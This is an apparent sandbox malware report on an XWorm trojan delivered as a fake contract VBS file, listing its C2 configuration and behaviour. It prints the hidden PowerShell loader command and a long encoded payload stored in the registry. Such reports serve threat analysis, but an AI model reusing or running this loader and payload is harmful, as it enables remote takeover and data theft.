File name:

Documentación contractual_1332400014114.vbs

Full analysis: https://app.any.run/tasks/a799562f-4afd-4f5a-8d27-239013f1e490
Verdict: Malicious activity
Threats:

XWorm is a remote access trojan (RAT) sold as a malware-as-a-service. It possesses an extensive hacking toolset and is capable of gathering private information and files from the infected computer, hijacking MetaMask and Telegram accounts, and tracking user activity. XWorm is typically delivered to victims' computers through multi-stage attacks that start with phishing emails.

Malware Trends Tracker     >>>
Analysis date: April 23, 2025, 08:55:16
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
pastebin
xworm
remote
Indicators:
MIME: text/plain
File info: Unicode text, UTF-8 text, with very long lines (64575), with CRLF line terminators
MD5:

3EDB926DD2588FCAF1DEFEF5F450C4D9

SHA1:

74DE2F60E1C111DAF3F27FFE8F916B6B26D71581

SHA256:

78542477B155069C0D007362DE23460A0B63DE59558D79B8FF10134E407F9E43

SSDEEP:

6144:lIg3ibDb0ywlMmJsVN//wiYQQQUu/420pm+npMEFE98qP1+gjA8uMFeBP9ziF5ge:AbDb0ywnMNwiYQQpuxWRMsBhiUe

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses base64 encoding (SCRIPT)

      • wscript.exe (PID: 7532)

    • Access Task Scheduler's settings (SCRIPT)

      • wscript.exe (PID: 7596)

    • Creates a new registry key or changes the value of an existing one (SCRIPT)

      • wscript.exe (PID: 7596)

    • Gets context to execute command-line operations (SCRIPT)

      • wscript.exe (PID: 7596)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 7760)

    • Changes powershell execution policy (Bypass)

      • wscript.exe (PID: 7596)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 7760)

    • XWORM has been detected (YARA)

      • MSBuild.exe (PID: 8136)

    • XWORM has been detected (SURICATA)

      • MSBuild.exe (PID: 8136)

    • Uses sleep, probably for evasion detection (SCRIPT)

      • wscript.exe (PID: 1164)

  • SUSPICIOUS

    • Creates a Stream, which may work with files, input/output devices, pipes, or TCP/IP sockets (SCRIPT)

      • wscript.exe (PID: 7532)

    • Writes binary data to a Stream object (SCRIPT)

      • wscript.exe (PID: 7532)
      • wscript.exe (PID: 7596)

    • Sets XML DOM element text (SCRIPT)

      • wscript.exe (PID: 7532)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 7532)
      • wscript.exe (PID: 7596)
      • wscript.exe (PID: 1164)

    • Creates FileSystem object to access computer's file system (SCRIPT)

      • wscript.exe (PID: 7596)

    • Accesses antivirus product name via WMI (SCRIPT)

      • wscript.exe (PID: 7596)

    • Probably obfuscated PowerShell command line is found

      • wscript.exe (PID: 7596)

    • Application launched itself

      • wscript.exe (PID: 7532)

    • Saves data to a binary file (SCRIPT)

      • wscript.exe (PID: 7532)

    • Accesses object representing scheduled task trigger (SCRIPT)

      • wscript.exe (PID: 7596)

    • Accesses Scheduled Task settings (SCRIPT)

      • wscript.exe (PID: 7596)

    • Gets context to manipulate scheduled tasks (SCRIPT)

      • wscript.exe (PID: 7596)

    • Gets context to manipulate triggers of a scheduled task (SCRIPT)

      • wscript.exe (PID: 7596)

    • Gets scheduled task context (SCRIPT)

      • wscript.exe (PID: 7596)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 7760)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 7596)

    • The process executes via Task Scheduler

      • wscript.exe (PID: 1164)

    • Contacting a server suspected of hosting an CnC

      • MSBuild.exe (PID: 8136)

    • Connects to unusual port

      • MSBuild.exe (PID: 8136)

    • Uses WMI to retrieve WMI-managed resources (SCRIPT)

      • wscript.exe (PID: 1164)

  • INFO

    • Creates files in the program directory

      • wscript.exe (PID: 7532)

    • Drops encrypted VBS script (Microsoft Script Encoder)

      • wscript.exe (PID: 7532)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 7760)

    • Disables trace logs

      • MSBuild.exe (PID: 8136)

    • Reads the machine GUID from the registry

      • MSBuild.exe (PID: 8136)

    • Reads the software policy settings

      • MSBuild.exe (PID: 8136)
      • slui.exe (PID: 7932)

    • Checks proxy server information

      • MSBuild.exe (PID: 8136)

    • Checks supported languages

      • MSBuild.exe (PID: 8136)

    • Reads the computer name

      • MSBuild.exe (PID: 8136)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

XWorm

(PID) Process(8136) MSBuild.exe
C2https://pastebin.com/raw/s7GiVXuy:<123456789>
Keys
AES<Xwormmm>
Options
Splitter3
Sleep timeXWorm V5.6
USB drop nameUSB.exe
MutexSGnY3WbDsOITswPs
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
139
Monitored processes
9
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe no specs wscript.exe no specs powershell.exe no specs conhost.exe no specs sppextcomobj.exe no specs slui.exe #XWORM msbuild.exe wscript.exe no specs slui.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1164C:\WINDOWS\System32\WScript.exe "C:\Users\admin\AppData\Roaming\YwqNWzTslUjqsUb.vbs" C:\Windows\System32\wscript.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5392C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
7532"C:\WINDOWS\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Documentación contractual_1332400014114.vbs"C:\Windows\System32\wscript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7596"C:\Windows\System32\wscript.exe" C:\ProgramData\123decoded.vbeC:\Windows\System32\wscript.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7760"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\YwqNWzTslUjqsUb' -Name 's').s | ForEach-Object {$_[-1..-($_.Length)]}))); [lol.lol]::lol('YwqNWzTslUjqsUb')C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7768\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7900C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
7932"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe
SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
8136"C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
MSBuild.exe
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
XWorm
(PID) Process(8136) MSBuild.exe
C2https://pastebin.com/raw/s7GiVXuy:<123456789>
Keys
AES<Xwormmm>
Options
Splitter3
Sleep timeXWorm V5.6
USB drop nameUSB.exe
MutexSGnY3WbDsOITswPs
Total events
7 339
Read events
7 312
Write events
27
Delete events
0

Modification events

(PID) Process:(7596) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\YwqNWzTslUjqsUb
Operation:writeName:Path
Value:
YwqNWzTslUjqsUb
(PID) Process:(7596) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\YwqNWzTslUjqsUb
Operation:writeName:in
Value:
0
(PID) Process:(7596) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\YwqNWzTslUjqsUb
Operation:writeName:i
Value:
MSBuild.exe
(PID) Process:(7596) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\YwqNWzTslUjqsUb
Operation:writeName:s
Value:
=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dmcBRnblZXRAM3ZyFUZulGTk5WYt12bjBwcn5Wa0RXZTlXTAM3ZulGd0V2UlZXYT9Gd1FEAzdmbpRHdlN1X0V2ZAM3Zulmc0NFAzVGd5J0bUdmbpJHdThXZIBwclxWe0NFbhV3cpZVZsJWYuV0X0V2cAMXZk9WTn5WandWdiVGRAMXZjJXdvNXZy5yclNmc192clJlLs9GbAMXZjJXdvNXZy5SMtJ3bG5CbvxGAzV2YyV3bzVmUukXTuw2bsBwclNmc192clJlLtVGdzl3UAMXZjlmdyV2UyVGbpBXbvNkLl1Wa05WdS5SblR3c5NFAzV2YpZnclNlclxWaw12bD5yYpNXYCxWY1NXaW5Cdm92cvJ3Yp1EAzV2YpZnclNFcvJXZ05WSuUWbpRnb1JlLtVGdzl3UAMXZjlmdyV2Uu9Wa0F2YpxGcwFkLjl2chJEbhV3cpZlL0Z2bz9mcjlWTAMXZjlmdyV2UiV2V51EAzV2YpZnclNlYld1X0V2ZAMXZjlmdlRkLjl2chJEbhV3cpZlL0Z2bz9mcjlWTAM3YpR3cv52ZhlGRu0WZ0NXeTBgcvRXau9WTAI3b0N2YuAgcvR3YuAgcvRXY2lGdjFEAy9mcyVEdjVmavJHU0V2UAI3byJXR0NWZq9mcQJXYlx2QAIXZ0VHct92Q51EAyVGd1BXbvN0X0V2ZAIXZ05WRAIXZzVFduVmcyV3QAIXZzV1X0V2ZAIXZulWY052bDlEAyVGbpBXbvNkLt9GRlR2bD5SblR3c5NFAyVGbk5WYIRnblZXRud3bkRXdoNFAyVGbk5WYIRWZkRWYAIXZnFmbh1UZjJXdvNXZS9FdldGAyVGZuV2cAIXZklmdvJHU0NWZqJ2Tz1mcvZUeN9VbAIXZklmdvJHU0NWZqJ2TzV2YpZnclNlYldVeN9VbAIXZklmdvJHU0NWZqJ2TyVGd1BXbvN0XtBgclRWa29mcQR3YlpmYPJXZzV1XtBgclRWa29mcQR3YlpmYPBHcB9VbAAXZlx2UA8mZulUZyVHdsV3QA8mZulEZvhGdl1EAud3bkRXdoN1XkRWYA4WdSBgbvlGdwV2Y4VEduVWb1dmcBBgbvlGdwV2Y4Vkcl5mbJ9FdldGAu9Wa0BXZjhXRu9Wa0FmclB3TklGbhZnbJBgbvlGdwV2Y4VkbvlGdhN2b25WS0V2ZyFGVA42bpR3YlxmZlJlLtVGdzl3UA42bpR3YhJXZ05WSA42bpRXY6lGbhJ2bsdkLtVGdzl3UA42bpRXYyV3ZpZmbvNkLtVGdzl3UA42bpRXYjlGbwBXQ51EAu9Wa0F2YpxGcwF0X0V2ZA4Wah12bERnblJnc1N0X0V2ZA4Wah12bEBHcBBgbpFWTA42ZpNXZE5CblR2bNRnbl52bw12bD5SblR3c5NFAuFWTlNmc192clJHAtJ3bG5Wah1UZ0FWZyNkbPBQby9mRulWYN9FdlNHAtVGdzl3UAw2byRnbvN0dvxmR0NWZqJ2TAw2byRnbvNkcl5WahRnbvNEAs9GbAwWZk9WT05WZu9Gct92Qu0WZ0NXeTBAblR2bNR3YlpmYP5ycu9Wa0NWZsx2bD5SblR3c5NFApNXazBAa0dmblx0X0V2ZAcmbpdXYyRkLtVGdzl3UAcmbpN3bwNXakBwZulmc0NnY1NFAn5WayR3U4VGaAcmbpJHdT9GVAcmbpJHdTV2YyV3bzVmU0V2RAcmbpJXZk5WZSRHelRVZsJWa0FGct92QlNXVfRXZnBwZulmbvl2cyVmVuUWbpRnb1JlLtVGdzl3UAcmbpRWY